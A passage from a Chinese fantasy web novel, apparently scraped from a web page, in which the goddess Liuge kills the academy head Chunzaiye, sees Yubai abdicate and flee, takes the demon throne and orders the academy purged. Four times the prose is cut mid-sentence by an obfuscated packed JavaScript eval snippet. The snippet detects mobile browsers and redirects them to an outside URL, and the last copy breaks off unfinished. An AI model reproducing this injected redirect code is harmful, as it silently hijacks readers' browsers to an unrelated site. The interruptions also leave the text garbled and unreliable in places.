“真聪明,”琉歌看着他的眼睛,知道他自己想明白了,“对,屠尽学宫后,我会建立新的智慧枢纽,权力中心——典藏阁,我要建立一个只属于妖皇的,受我掌控的学宫,我还要收万族书卷入其中,随着抚育司一起,推广到全妖界!” 我要世家再也垄断不了知识,再也不敢仗着手握旧时代积攒的根基,心安理得的要求新生的妖界顺从他们,奉承他们,只为得到那一点从指缝里洒落的好处! 不管春在野听懂了多少,躲在暗处,悄然听着几人争执的画妖浮荣反倒是完全明白了琉歌的意思……她下意识屏住呼吸,瞳孔轻颤。 画妖,情化妖族,死物生灵,情化妖族有自己独特的隐藏气息的秘法——只在他们之中流传的那种。 常言道,最危险的地方就最安全。 浮荣有这个自信笃定,只要妖皇不刻意搜索自己的眼皮子底下,她完全可以靠着一波灯下黑躲过一劫! 幸好她谨慎……神血丹全部喂给了画着自己皮的画皮妖,本体没有服用一粒神血丹——这样虽然进阶慢了一下,得到的能量少了一点,但就像现在,东窗事发,她也可以靠一手金蝉脱壳之计逃之夭夭。 她一抬眸,忽然撞上琉歌低垂的眼和悲悯的不忍——像极了刚刚在断肢碎肉间微笑着残忍宣判所有人死刑的火中佛像。 死亡的阴影猛地攥住了她的咽喉,浮华悚然一惊,下意识打了个寒颤……她的气息陡然乱了。 弥随音眼皮一抬,白金色的眼珠在太阳的照耀下仿若要融在阳光里的琉璃,那剔透的琉璃缓缓转了半圈,静静的,不带一丝情绪的撞进了画妖的眼底。 浮华尚未反应过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310264|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,火海,幻觉似的火海,刚刚将她的画皮鬼焚成了一地残灰的火海,眨眼间已经逼至眼前! 她想后退,想回击自保,最后却只来得及闭上眼—— “师尊,别杀她。” 预想之中的高温并未出现。反倒是冷风灌肺,碎雪扑面,画妖本体是一副染血的画,轻若无物,就算被人重重掷于地上也摔不出个响……银发神女冷若冰霜的声音在天地间轻旋,浮荣不顾身上剧痛,将额头深深按在手背上,不敢抬头。 索性现在也没人有时间管她。 “你这是什么意思……”春在野脸上的愤恨快要保持不住了,他了解问情,了解她的下一步动作,了解她对学宫的规划……正式因为了解,现在才更觉得可怖。 琉歌所说的和问情想做的,在大方向上竟然分毫不差。 “你从没受过一天政庭神庭的教育,这些不可能是你自己想出来的……你仗着神族权能,窥伺了谁的记忆!?” 琉歌轻轻抬手,掌心朝内,一缕卷着碎雪的烈风就那样乖顺的停在了她的掌心,她两指并起向斜下方一划——一柄裁霜断雪,近乎透明的冰剑便出现在了她的掌心。 弥随音有些困惑的歪了歪头,为何不用我给你的那柄剑呢?他不解的在心底发问。 “看来你也明白,我要做的,就是问情来不及做的。” “这些东西还不至于让我去窥伺你们的记忆,因为我会比问情做的更好,带领妖族走得更远,我会告诉所有人,我为妖界找到了一条永恒的真理!” 下一瞬,银发的身形动了,空间权柄的力量猛地展开,妖皇威压如潮水般汹涌澎湃,一点银光,在春在野眼底猝然亮起—— “铛——”冰剑与金剑相撞,气浪荡开,两人周身具是积雪飞扬。 风平雪息。 滔天的恨,对着所有人的恨,在他的脸上扭曲的交织,使他向来书卷气十足的一张脸显得狰狞无比。 春在野还想再战,余光却瞥到了神色古怪的弥随音,还有略微偏过视线,显得不忍卒视的浮荣。 为何要露出那样的表情? 春在野怔然,他想发问,想说自己还握着问情赠予的武器,想说自己还没有输……刚一开口,一大股献血却骤然涌出咽喉。 “春在野,你还有什么要说的吗?” 新神唇齿间溢出无声的哀叹,纡尊降贵,在他这个污点满身的前神使身边蹲下。 仰倒在地的黑腹红翅雀于是顺着她的话,走马灯似的开始回忆自己的一生,妄图凝练出个提纲挈领的总结来—— 可直到这时,他第一个想到的,唯一能想到的,还是他横刀立马,肆意横行,常胜不败的的君主。 ——你们都说,问情是烈阳,可在我心里,她始终是那一晚破开黑夜,救我出泥泞的皎月。 问情……问情—— 他忽然很想笑,捂住脖子嗬嗬倒气,流失的生命力具象化成涌出他指缝的血,他努力了半响,也只能发出一点哭似的笑音。 “我恨……” 琉歌面无表情的盯着他。 他声音太小,被第五洲的猎猎罡风一卷,顿时破碎在了风里,携着雪的冷风卷过白茫茫的天地,银发妖皇忽然微微睁大了眼睛。 “我恨明月离我而去……” “我恨……明月曾照我。” 这场早该降下的雪,终于是降下了。 52. 琉歌妖皇 弥随音望着春在野,一时间竟有些物伤其类的同情。 他扪心自问,若是身陨的是琉歌,他又正好找到了能召回琉歌的法子……那他无论如何也是要试上一试的。 可……若是琉歌的话…… 他下意识望向斜前方那肩背单薄,衣角被寒风吹的列列作响的瘦削身影,怀着自己都没有意识到的隐秘笃定,想到,“比起复生,琉歌可能更希望她的理想能够延续吧。” 这样想来,他们这样的妖皇孤臣,最好的结局,竟然是直接随着君主而去。 哎,怪不得亦清妖后会舍下一切,自爆妖丹,追随问情远赴幽冥。 若亦清留下,以他的地位和君主曾经赐予无上的宠爱,一但他将复活君主放到了一切之前,只会对君主的理想和道路起无可估量的反作用。 他是那时候就想到了这些吗?所以才那般义无反顾的与问情携手离开? 琉歌的情况不比问情轻松,妖界内的,妖界外的,一重重一道道障碍拦在她的面前,弥随音难以遏制的发散思维,想到,若琉歌当真出了意外,他愿不愿意效仿亦清,随琉歌共赴黄泉? 不对,冷风过,凤凰帝师陡然清醒,亦清是问情的妖后,殉情殉的天经地义。他只是暂时保护了琉歌一段时间的仙族,该类比的不是亦清,是春在野——还是不太合理合法,按理来说应该和妖皇更疏远的春在野。 “——她的权,钱,爱,都没有留给你,你一厢情愿的打着问情的旗号,可问情当真给你这个权力了吗?并没有吧?” 他陡然打了个寒颤,引得琉歌回头瞥了他一眼。 罢了……不想这个了,弥随音摇摇头,将这些抛之脑后。 对了,琉歌的理想又是什么呢? 还没等弥随音将脑内那些模糊渺远的理想啊死亡啊道路啊理顺,琉歌忽然收回了冰雪凝成的长剑,缓缓站直了身子。 “春在野,你是问情尚存于世的影子。” “惊轶背后有自己的世家,他有自己的私心和算计,并非那种一心为公,完全赤诚的臣子。妖族不会把他和妖皇的意志画上等号,但你和亦清却是独属于问情的孤臣,是只围绕她而转,以她为中心的日晷。” “你身上带着问情的烙印,无论我如何定你的罪,这烙印是甩不开的……你早已不是你了,春在野,你是第三神使,你做的一切,等同于问情的意愿,或者说——你是她活着的遗愿。” 她呼出一口白气,放缓了语气,瞳孔被眼睫垂下的阴影遮蔽,叫春在野看不清神情。 春在野毕竟靠着神血丹强行突破到了半步飞升的地步,而妖族又肉身强悍,自愈力强悍——眼下琉歌迟迟不补刀,他脖颈间的血已经有了渐渐凝止的趋势。 “你,你想说什么……”他捂着脖颈和心口的伤口,艰难的用漏风的喉咙发出伴着嗬嗬倒气声的疑问。 “你打着她的旗号成立拜圣教,打着她的旗号扣下丹方,打着她的旗号伤害我和郁柏——” “春在野,你要让世人疑惑,反思,怀疑他们灿若烈阳,荣誉等身的初代神明,妖祖大人,难道也只是一个有私心,和他们一样贪恋长生和权势的普通人么?” 春在野蓦然睁大了双眼,拼尽全力想摇头,想争辩,却只能发出一点不成语句的气音,大股大股的鲜血涌出他的唇舌,染红了下颌,又被眼泪冲刷出道道泪痕。 琉歌满意了,她微笑着再次蹲下身,拽着他的衣领将他拎了起来,“你知道该怎么做了吗?” 春在野护着脖颈伤口的手缓缓松开,任由其无力的垂落两侧,这位学宫的奠基人,以理论贡献封神使之位的第一人,一生都在为问情探索前路,叩问未知的黑腹红翅雀,发出了自己生命里的最后一个疑问—— “你……要将,妖族……带向,带向何方——” “统一。” 银发妖皇和问情有七分相似的脸上,是和问情如出一辙,从未更改过的野心——仿若问情的一部分,当真在她身上实现了某种延续,某种复生。 “我要打破领主和世家对青丘的桎梏,我要从此礼乐征伐只能出自玉牡丹帝宫,我要贯彻团结和一体的概念,我要所有妖族知晓,无论有无血缘关系,他们都是同族,我要妖族彻底成为一个整体!” “我不仅要天道承认妖界的存在,还要其余四界再也不敢轻视我们,再不敢说妖族没有根基,没有底蕴!” 浮荣,釉面,郁柏,弥随音还有在她手底难以遏制的轻颤起来的春在野,目光或惊愕或憧憬,全部灼灼的凝在她的身上。 一时间,天地无话。 “我明白了……罪臣愿配合您,洗去……问情尊上,身上的所有的污点,保证,咳咳……保证妖族的根基稳固,无所动摇。” 春在野周身经脉已经在刚刚的交手中,被琉歌操纵着神血全部搅碎了,剧痛和伤势之下,这一段话说的异常艰难。 好在他马上就不用忍受这种痛苦了。 琉歌一抬手,第四洲这些天源源不断汇聚而来的信仰之力在她的神座里流转一圈,化为精纯的能量流入她的空间权柄,一道裂隙倏然在众人身下打开——春在野猛然下坠,扑通一声,落在了正被里三层外三层包围的学宫。 下一刻,空间权柄的能量顺着地脉飓风般席卷而过!神族权柄以不容任何人忤逆的力量将琉歌选定的人带到了她的面前—— 第二洲的金戈,喻未央。 第三洲的春在野,刀脊鲨族长。 第四洲的风弄堂,藏权云,危天梭。 第五洲的虫母伊锦,屠五月,晚枫赤狐。 第六洲的雪域圣女令群山,鼠族族长束漫时。 第七洲的象母向潇湘,狮族族长和蛇族族长。 第八洲的武不为和鲸族长老—— 一道道光芒闪过,骤然被拉到了青丘,表情神态各异所有领主——无论是正位于青丘的还是远离纷争的,都被琉歌一道诏令拽到了观众席上,或自愿或被迫的“观赏”起春在野和琉歌的表演。 “你居然已经掌控了学宫……是我小看了你!”春在野发出困兽般低哑的嘶吼,不顾一切的再次祭出金鞭,猛地冲向琉歌,“我才是下一任妖皇最合适的人选!” “学宫令!”有第三洲的雀族撕心裂肺的叫了出来,却无法阻止春在野演完人生最后一幕的脚步—— “学宫令春在野,勾连仙界害死龙尊常妄,为窃夺信仰之力延误泣寒瘴防疫进度,导致泣寒瘴大面积爆发,手下被魔族引诱堕魔都没能察觉,监管不力,能力欠缺,还妄图自立成神,分裂妖界,毁坏问情与妖界万族血泪拼出的妖界——罪孽深重,今日,我以新任妖皇之名,降下天谴,以儆效尤!” 琉歌唇角的笑意转瞬即逝,和春在野遥遥相对的一瞬间,象征着天道降罚的雷霆眨眼间贯穿了他的心脏! 问情的时代,彻底结束了。 望着春在野死不瞑目的尸体, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310265|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天地间只闻几道压抑的,稀疏零落的啜泣声。 像问情时代遗留的,未唱完的挽歌。 雷霆散去,众领主但凡有脑子的,全部跪地俯首,不敢直视神颜。 “惊轶,将学宫全体关押候审,我不想正位的第一日就搞得尸骸满地,这些叛徒的血,太晦气。”琉歌轻轻甩了甩手,收起了空间权柄的力量。 惊轶叩首领命,他做惯了这种事,动作迅速如行云流水般流畅,利落,甚至没让学宫众人发出多少挣扎和哭嚎声。 “姐姐,恭喜。” 琉歌闻言也笑了,脚尖挑起春在野尸体边的金鞭,在手里颠了颠,朝郁柏扔了过去,“你要挑战我吗?郁柏尊上?” 她身后,凤凰背手持剑的动作微微变化,手臂腰背的肌肉缓缓绷紧——他有自信打赢郁柏这样力量尚不足的半神,但他不敢百分百保证琉歌的安然无恙。 在场所有人的目光都或暗或明的移了过去。 神子抬手接住了金鞭,自然而然的将它收入怀中。 “郁柏不会,也不敢。” 众领主皆愕然! 尤其是跟着神庭押宝郁柏的几位领主,顿时如坐针毡,愕然抬眸望向连出招都不愿意,直接俯首称臣的轩辕郁柏—— 郁柏没有理会所有人,就像他在玉牡丹帝宫,在神庭,在第五洲时如出一辙—— “朕承天命登上妖皇之位,本应夙夜惕厉,以安兆民。然朕德薄才疏,黯蔽于内,昏聩于外…… 一失于察,竟使学宫包藏祸心,暗蓄弑神自立之志,而朕不悟。 二失于防,坐视仙魔染指妖疆,搅动风云,而朕不制。 三失于断,纵容春在野狼子野心,贻误泣寒瘴炼丹防疫,而朕不惩。 此三罪者,动摇国本,祸及苍生。朕之过也,上负天道,下愧万妖,岂堪再居尊位? 今自请剥离神位,从妖历上除名以谢天下。唯愿神女琉歌,承天受命,肃清奸佞,重整山河,以慰万民之望。” 一席话说的众人大惊失色,就连对两人关系猜测颇多的惊轶也一时愕然,搞不清神子神女两人在想什么。 “姐姐,再见了。” 说完了官方的,两位半神之间的私下悄悄话不必告知所有人。 郁柏少见的,含着一点笑意的声音在琉歌的识海响起,“姐姐,你找到了自己的方向,现在,轮到我了。” “跑吧,我允许你跑向任何地方——前世今生,你都没有见过妖界的全貌呢。”琉歌伸手,遥遥点了点他怀里的金鞭,“毕竟是神器,比你那把破剑强了不是一点半点,带着吧,保护好自己。” “我预祝你和我一样,找到自己的道,郁柏。” 琉歌有些欣慰,有些新奇的和神子对上视线,一模一样的两张脸同时粲然一笑。 “若找不到自己的方向,我希望你记住自由的感觉——下辈子,投胎到能让你自由翱翔的地方去吧,别再做神庭和圣坛的囚鸟了。” 识海里说的温馨,现实里做戏也要全套。 “来人,将罪人郁柏同学宫叛党一起下狱候审!”琉歌一声令下,赤琉璃不敢不动,弥随音虽然感觉不太对,还是义无反顾的拔剑,准备执行琉歌的命令—— 琉歌轻轻拦了他一下。 这么一耽搁,郁柏转身跃上学宫房顶,九尾玄狐真身乍现!利爪撕开了赤琉璃设下的道道屏障,转眼间便消失在了天际林海间,不见了踪影。 53. 正位 “聆钧。” 琉歌抬手,所有继续追击的赤琉璃近卫军便不受控制的停在了原地。 忽然被点名,獬豸不免惴惴,不敢怠慢,上前一步,躬身行礼道:“神……妖皇尊上。” 獬豸在心底冷汗狂流,好险,叫惯了神女,差点脱口而出了。 “承平司去拟定对轩辕郁柏的通缉令,写明他退位的原因,广而告之,令妖界九洲传阅。” 银发的新神目送郁柏消失在天边,略微垂眼,继续说道:“不要抓捕也不要伤他,若得到了消息,便由你递到我面前,若他想回来了,也由你送他到我面前来。” 獬豸更加茫然了,当初对琉歌的通缉令下来后,郁柏神子曾特意来找了他一次,话里话外的意思和现在完全相同——不要伤了琉歌,只把她的消息和行踪递到我面前来就好。 虽然茫然,却不妨碍他领命,聆钧俯身应到:“是,谨遵妖皇尊上的吩咐。” 危天梭忽然觉得掌心灼烫无比,她一松手,那震颤不停的青竹玉簪立刻脱手而出,从她掌心飞回了琉歌的发间。 众人视线被其吸引,纷纷抬眸,这才发现,琉歌眉心完整,明亮,繁复的妖皇神纹早已光华大盛! 不远处,圣坛仿若被唤醒的巨物,忽然有了生命一样开始呼吸起伏,一股股古老的,宛如来自天地初开之时的混沌灵气,波涛一样层层荡开,在这样水波状层层荡开的洪流里,钟声忽然远远的响了起来。 钟声,神光,仙禽神兽——那些在郁柏登临神位时来过一遍的神迹,随着琉歌一步步靠近妖皇帝宫,再次降临了圣坛! 惊轶还是太上道了,早在钟声响起的一瞬间,一件足够华丽,流光溢彩,足以匹配此情此景的宽大外袍便被递到了琉歌的手底。 琉歌笑着接过,又在踏上神座之前略微偏头,给了弥随音一个带有安抚意味的眼神——却发现凤凰帝师正怔怔的望着她,眼底是琉歌不曾见过的瑰丽光芒。 两人遥遥对上视线,忽然间,蓦的同时笑了起来。 琉歌知道不必再说什么了。 于是她转身,空间权柄撕开空间,直接带她出现在了不远处的圣坛上。 “诸位,不管你们欢不欢迎,我都已经回来了。” 她抬脚,稳稳的踏上第一级登神长阶,神座,凝实而宏伟的巨大神座自她身后冒出,像是先行一步给她探路一样,率先飘上了登神长阶的尽头,稳稳停住,等待着自己真正的主人的到来。 “我们,别来无恙。” 随着她最后一句话掷出,妖皇真身,九尾银狐的虚影在其身后骤然显现!九尾银狐盘旋一圈,九尾如羽扇在空中肆意飘摇,第二任妖皇,轩辕琉歌一挥衣袖,稳稳坐上了妖皇神座。 刹那间钟声停,风声静,圣坛内领主俯首,天地间万物臣服,原本躁动而虚浮的地脉仿若迎回了自己自己的核心和主宰,顿时安静了下来,以圣坛为核心,寰宇内停滞了许久的灵气,终于再次开始循环流转了起来。 “人皇尊上?”苍梧山,粉白长发的少女疑惑的看向端坐对面的黑发男子,那男子似乎正在闭目感应些什么,半响缓缓睁开眼,一双银灰色的眼瞳独特而沉静。 正是静寂已久,对外宣称伤心过度,正闭关疗伤的人皇铭榕。 “来了。”他忽然开口。 “什么?”茶晚山没有听懂,她好不容易摆脱了仙族追兵,找到了苍梧山所在地,见到了人皇,但铭榕不冷不热的态度让她心寒。 她将仙尊可能和魔尊联合的消息告知人皇后问他准备怎么办,人皇竟然只让她等待。 等什么,等到什么时候全都闭口不言。 茶晚山心底烦躁极了,思虑良久,她的时间并不多,还要找到绕过屏障,进入妖界面见妖皇的方法,实在不愿意在这里,跟神像一样不给一点反应的铭榕浪费时间。 她将杯中茶水一饮而尽,起身就要告辞——一点渺远的钟鸣忽然传入了她的耳朵。 茶晚山愣住了,似有所感,下意识抬眸,透过苍梧山大开的殿门,望向碧波如洗,万里无云的碧蓝色苍穹。 仿若那高高的天外天,正在传递着某种,只有某些人能听懂的消息。 “妖皇……第二任妖皇?”茶晚山无知无觉间下意识应和着天外天的“声音”,低声重复着那道讯息,“第二任妖皇轩辕琉歌,今日……正位。” “妖皇正位?”茶晚山茫然回神,又低声重复了一遍,忽然品出了不对劲,陡然打了个寒颤,“等等?第二任妖皇不是轩辕郁柏吗?轩辕琉歌又是谁?!” 忽然间,一点金色划过了她的眼底余光。 她的视线茫然的追随着那道色泽向下看去,只见空荡荡的茶杯内,一滴又一滴的金血自她鼻下和唇间涌出,越来越多,越来越快,片刻便染红了她的茶杯和指尖。 与此同时,仙界,魔界,冥界,三神同时和茶晚山一样望向苍穹,望向目力所不能及的天外天。 “白泽,下一次三垣盟誓召开会议时,你与我一起参会。”兰因雾气氤氲的面目上辨不出情绪,对白泽微微一点头,下令道。 “至公,这是怎么回事?”梅若君的态度就冷峻多了,至公道人搭在手肘间的拂尘颤个不停,他咚的一声跪下,告罪,“请大人责罚,属下情报收集有遗漏,竟然不知妖界还有一位半神!” “罢了,收集情报制定计划本就一直是南宫悯在负责,不是你的长处。” 预想中严厉的惩罚却没有降临,梅若君微笑着上前两步,亲自将他扶了起来,“南宫悯帮茶晚山逃入下界,茶清叙跟魔族私奔叛逃入混沌裂隙……他们都该死。” “至公啊……我还可以相信你多久呢?” 仙尊威压下,至公道人颤抖不停,嘴唇翕张半响却说不出话来。索性梅若君也不是真的要他的回答,直接冷笑一声越过了他,向他身后的暗室去了。 至公冷汗涔涔而下。 他知道,那里关着破坏仙尊计划,导致茶晚山离开仙界的罪魁祸首,南宫悯。 玉牡丹帝宫内,青玉石铺就的地砖依旧光可照人,亮如明鉴。 众领主低头俯首立于阶下,透过明镜似的青玉砖,直视着自己或惶恐,或好奇,或惊惧的一张脸。 “诸位,别来无恙啊。”琉歌姿态懒懒的坐于高台神座之上,虽然在对众领主说话,却一个眼神也没有分给他们,只是掌心向上,微笑着冲弥随音伸出了手。 “琉歌……这不合规矩。”凤凰帝师踟蹰不前,正殿高台素来是神明,神使和妖后才有资格踏足的,他自觉若是踏上高台,难以服众。 “那师尊要站到哪里?队首还是队尾?”琉歌配合他压低声音,语气揶揄,“好像更不合规矩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310266|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “这……我去第五洲帮你清理魔气,魔尊魔气还没有完全……” “好了,弥随音。”琉歌哑然失笑,轻轻牵起他的衣袖,向后一步迈上台阶,轻而易举的拿捏了他的软肋,“我还没有神使呢,你要让我一个人面对他们吗,师尊?” 弥随音下意识跟着她的力度向前一步,登上了帝宫正殿,属于妖皇近臣的范围。 此时再说要走就显得无理取闹了,弥随音也确实不能对难得示弱的琉歌说出任何重话来。 “问情喜欢放你们散入妖界九洲,替青丘镇守八荒,我不是她那样好脾气的君主。”琉歌目光淡漠的扫过台下众人,神庭的,政庭的,领主和帝宫内侍,妖族叫得出名字叫不出名字的人物,都被琉歌揪了过来,容不得他们拒绝。 “龙族烛龙系小辈冷千春用仙界阵法害死常妄一事疑点颇多,苍穹,我给你调度那三支包围龙岛的赤琉璃近卫军的权限,你来负责深挖龙族和仙族究竟达成了什么协议,同时大力追捕螭龙族云出岫的踪迹。” 审查司本就负责查案判案,这些都是苍穹的本职,他跨步越众而出,恭恭敬敬的接过了那枚篆刻了“赤菱统制”四个字的铁质令牌,见此令如妖皇亲临,凭此可以调度近卫军。 “……”苍穹抬起头,刚要归队,就见金戈,虫母还有鼠族族长束漫时纷纷冲他挤眉弄眼,一时间台下眼刀纷飞。 苍耳族长无奈,只得再次躬身行礼道:“妖皇尊上请恕臣冒昧,学宫令春在野勾连魔族窃夺信仰一事,是否依照惯例,交给审查司负责呢?” “学宫?”琉歌微微睁大眼,诧异道:“哪里还有学宫?学宫不是马上就要化为一摊血水了吗?” 和学宫研学派有利益交缠的几位领主顿时细密的发起抖来,不寒而栗——这位琉歌尊上,她之前说要血洗学宫的话,居然是认真的! “春在野成立拜圣教妄图窃夺信仰之力,自立成神。”琉歌声音冷的彻骨,“拜圣教勾连仙魔证据确凿,光是这两项,还不足以让我下令,清理学宫的牛鬼蛇神吗?” “臣失言,”苍穹毫不犹豫跪下了,“学宫诞生之初是何等纯粹繁盛的学术交融,臣等难以忘怀,此时见春在野带领学宫误入歧途,臣等无不痛心疾首……只是学宫毕竟承载了问情先皇至今,近三十年间妖界所有的研学成果,此时若直接抹除,恐生动乱。” “臣怕此举于尊上的名声有损,也怕从此再无人敢涉足研学领域……”苍穹一口气说完自己的想法,重重将额头磕在了交叠的手背上,忐忑不安的等待妖皇发落。 “既然你这样想保下学宫……那就先回答我吧,保留下的这个学宫,是谁的学宫啊?”银发妖皇懒懒的靠在神座夸大的扶手边,指尖撑着下巴,神情恹恹。 “问情的,春在野的,你的,研学派的,还是所有世家大族的?” 苍穹陡然倒吸一口凉气,“不,不……臣失言,请妖皇责罚。” “当堂挑衅神族,按律当诛,考虑到你还有任务在身,现在只剥去你一身官职和荣誉,若任务完成的好,我就放你一条活路,若完成的不好……” 琉歌话不说完,冷笑着转移了视线,“至于学宫,已经查明是拜圣教外围成员的,就地处死,其家族成员候审听宣,拜圣教内阁十六人全部关押候审,其背后的家族或支持势力,抄家,夷三族。” 54. 第一神使 “尊上?!”众领主皆惊愕,聆钧下意识就想上前为学宫和苍穹求情,被他身边的武不为狠狠拽住。 武不为斜瞥了一眼对一切都装作充耳不闻,恭敬的垂首站在队首的惊轶,严厉的瞪了聆钧一眼,缓缓摇头。 惊轶自然知晓武不为等人都在等他这个世家大族的代言人表态,可他只能在心底苦笑——这些从未和琉歌接触过的氏族,还当现在是问情的时代呢。 为了和人族对抗,问情确实需要借助世家大族的力量才能建立妖界。 可现在……惊轶无奈,在心底幽幽感叹,真是时代变了。 他们引以为傲的世家力量只是琉歌神座上可有可无的点缀,根本不是世家支持谁,谁能当妖皇,而是琉歌早已磨刀霍霍,准备拿出头鸟杀鸡儆猴! 聆钧一时间心头思虑百转,最终还是挣开了武不为的手,上前咚的一声跪在苍穹身边,脊骨笔直,端的是一副忠言逆耳的谏臣架势,“臣恳请尊上收回成命!” 惊轶陡然睁眼! 糟糕了,他心想,血洗学宫是琉歌发出的第一道诏令,兼具了证明地位和立威扬名的作用,他们上来就要求琉歌收回成命,无疑是赤裸裸的打了妖皇的脸。 一点隐秘的好奇忽然在赤狐长老的心底升起——虽然现在不是问情的时代了,但是……万一呢? 万一琉歌仍能被世家大族的力量桎梏呢?哪怕氏族只能对她造成一点束缚,惊轶也得弄清那边界在哪里。 怀着这样幽微的心思,惊轶一时间没有动,保持静默静立原地,任由神庭和领主之间的冲突升级。 “愿闻其详。”琉歌微微歪了歪头,指尖在侧脸随意的点了点,居然是一副洗耳恭听的架势。 獬豸内心稍定,“尊上,臣觉得苍司掌的话言之有理——学宫吞服神血残害神族,证据确凿罪名属实,确实该得到严惩……可将内阁十六人全部夷三族,这个罪名是否过重?” “当年十三位妖族假意投入问情先皇麾下,实则一直在向外传递消息给人族,导致妖族在战场上损失惨重——问情先皇也只是将为首的血海铜雀族夷三族,其余十二人处死,并未牵连其家族。” 这个案子当年就是他一手处置的,如今拿来当传统案例作参考,倒也贴切。 “臣以为可以效仿先皇,只将春在野夷三族,拜圣教内阁其余人诛杀而不牵连族人性命,学宫其余人关押候审,按照参与程度再判定刑法!”聆钧说完便深深叩首,一副将生死置之度外的姿态。 在他之后,武不为和象母向潇湘越众而出,跪在了他们之后,“尊上,妖界本就不如人界底蕴深厚,学宫内几乎妖界全部的研学派人才了,若当真全部处死,可能会导致妖界人才断代。” 武不为其实并不想上来就忤逆琉歌,俗话说新官上任三把火,谁也不知道这位新神是什么性格,贸然挑衅实在愚蠢。 可聆钧为保苍穹已经把该说的不该说的全说了,她也只好跟上,试一试这位新神的底细和手段。 越来越多的领主,司掌或者主事,跟在他们之后跪了下来,“请妖皇收回成命!” 一时间声音激荡,好似这些学宫叛党,意图分裂妖界,差点酿成大祸的疯子,琉歌妖皇还动不得了。 琉歌扫视一圈,跪着的人胜券在握,站着的人静默不语,就连惊轶也避开了她的视线,任由静寂蔓延。 “尊上。” 弥随音忽然一撩衣摆,在她面前单膝跪下,掌心平举,横剑于掌心,目光澄澈而坚定,“这里没人是我的对手,如果您需要的话。” 似乎只要琉歌一声令下,他就能做出一些举世皆惊的事情来。 琉歌也确实在凤凰的眼底看到了这种决心。 她一时哑然失笑,眉眼间的杀气和郁气顿时一扫而空。 “师尊何必如此?他们都是和问情先皇打天下的大,功,臣——”银发妖皇笑得前仰后合,拖长了强调,指尖绕过他墨色深浓的长发,轻轻点了点他的耳垂。 见弥随音瞪大眼睛僵在原地,琉歌墨紫色的眼底真切的笑意漾开,她促狭的眨了眨眼,“回去吧,等会儿有的是你跪的机会。” 什么意思? 这下连惊轶也忍不住抬眸了。 看琉歌的意思,竟是彻底要在妖界给凤凰仙君开辟一处容身之地了。 哦不对,现在该叫凤凰帝师了。 “看来我突然回归,打了有些人一个措手不及呢。”琉歌起身,摇着头叹息一声,“既然如此,那就好好掰扯掰扯吧。” “颂颂,把东西呈上来吧。”一句话落,帝宫正殿的大门闻声而开。 没头没尾的一句话让众领主纷纷疑惑蹙眉,望向门口,只见阳光照亮殿内飞扬的尘埃,踏着骄阳,一手捧卷轴的年轻少女神情端肃,迈入殿中,缓步上前。 聆钧和苍穹忽然瞳孔骤缩! 那殿外光华流转的半透明屏障,分明是妖皇空间权柄! 琉歌是何时展开空间将他们全部笼罩在内的?又为何要将他们全部纳入领域里,隔绝一切接收外界讯息和向外传讯的机会? 哦豁,搞砸了。 武不为耸耸肩,轻轻抬眸,不动声色的求救目光扫过站着的几位领主——他们也只能给武不为一个稍安勿躁,爱莫能助的安抚眼神。 “究竟是因为怕打击了天下妖族的研学热情,还是因为我回来的太快,你们还没来的及把自己的族人撤走呢?”那双幽暗而深邃的墨紫色眼瞳里,满是不加掩饰的倨傲和玩味,恶劣至极。 “这是刚刚统计出来了,被赤琉璃关押准备接受审判的学宫弟子名单。”琉歌扬了扬那份刚刚从颂颂手里接过的卷轴。 “这份,是赤琉璃一开始就拿到的,今日该出现在学宫的全部人员的名单。” “先说你吧,武不为——学宫令之下有三位学宫长老,九位学宫掌事。据我所知,光是你们第八洲虎鲸一脉,就占据了一长老俩掌事之位——为何赤琉璃包围学宫的时候,不见任何一位虎鲸族族人?” 武不为咚的一声将头埋了下去。 琉歌冷笑一声,“学宫内乱兹事体大,不仅牵扯到了自立成神分裂妖界,还涉及龙尊之死和泣寒瘴的爆发,有勾连仙魔通敌叛国的大事,在会议结束之前,在帝宫完成人数统计之前擅自将人带走……” “如此藐视帝宫,挑衅神威,诸位,我倒是可以接受聆钧只杀主使的建议,但你们有几个脑袋供我泄愤呢?” 她也不恼,笑着将名单掷于地,哗啦一声散落在阶下众领主眼前,现在好了,武不为几人原本只是摆摆死谏的架势,现在彻底起不来,也不敢起来了。 “啊,真是气昏了脑袋,差点忘记正事了。”琉歌唇角笑意像是焊上去的一样,她抿唇轻笑,挥挥手,身下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 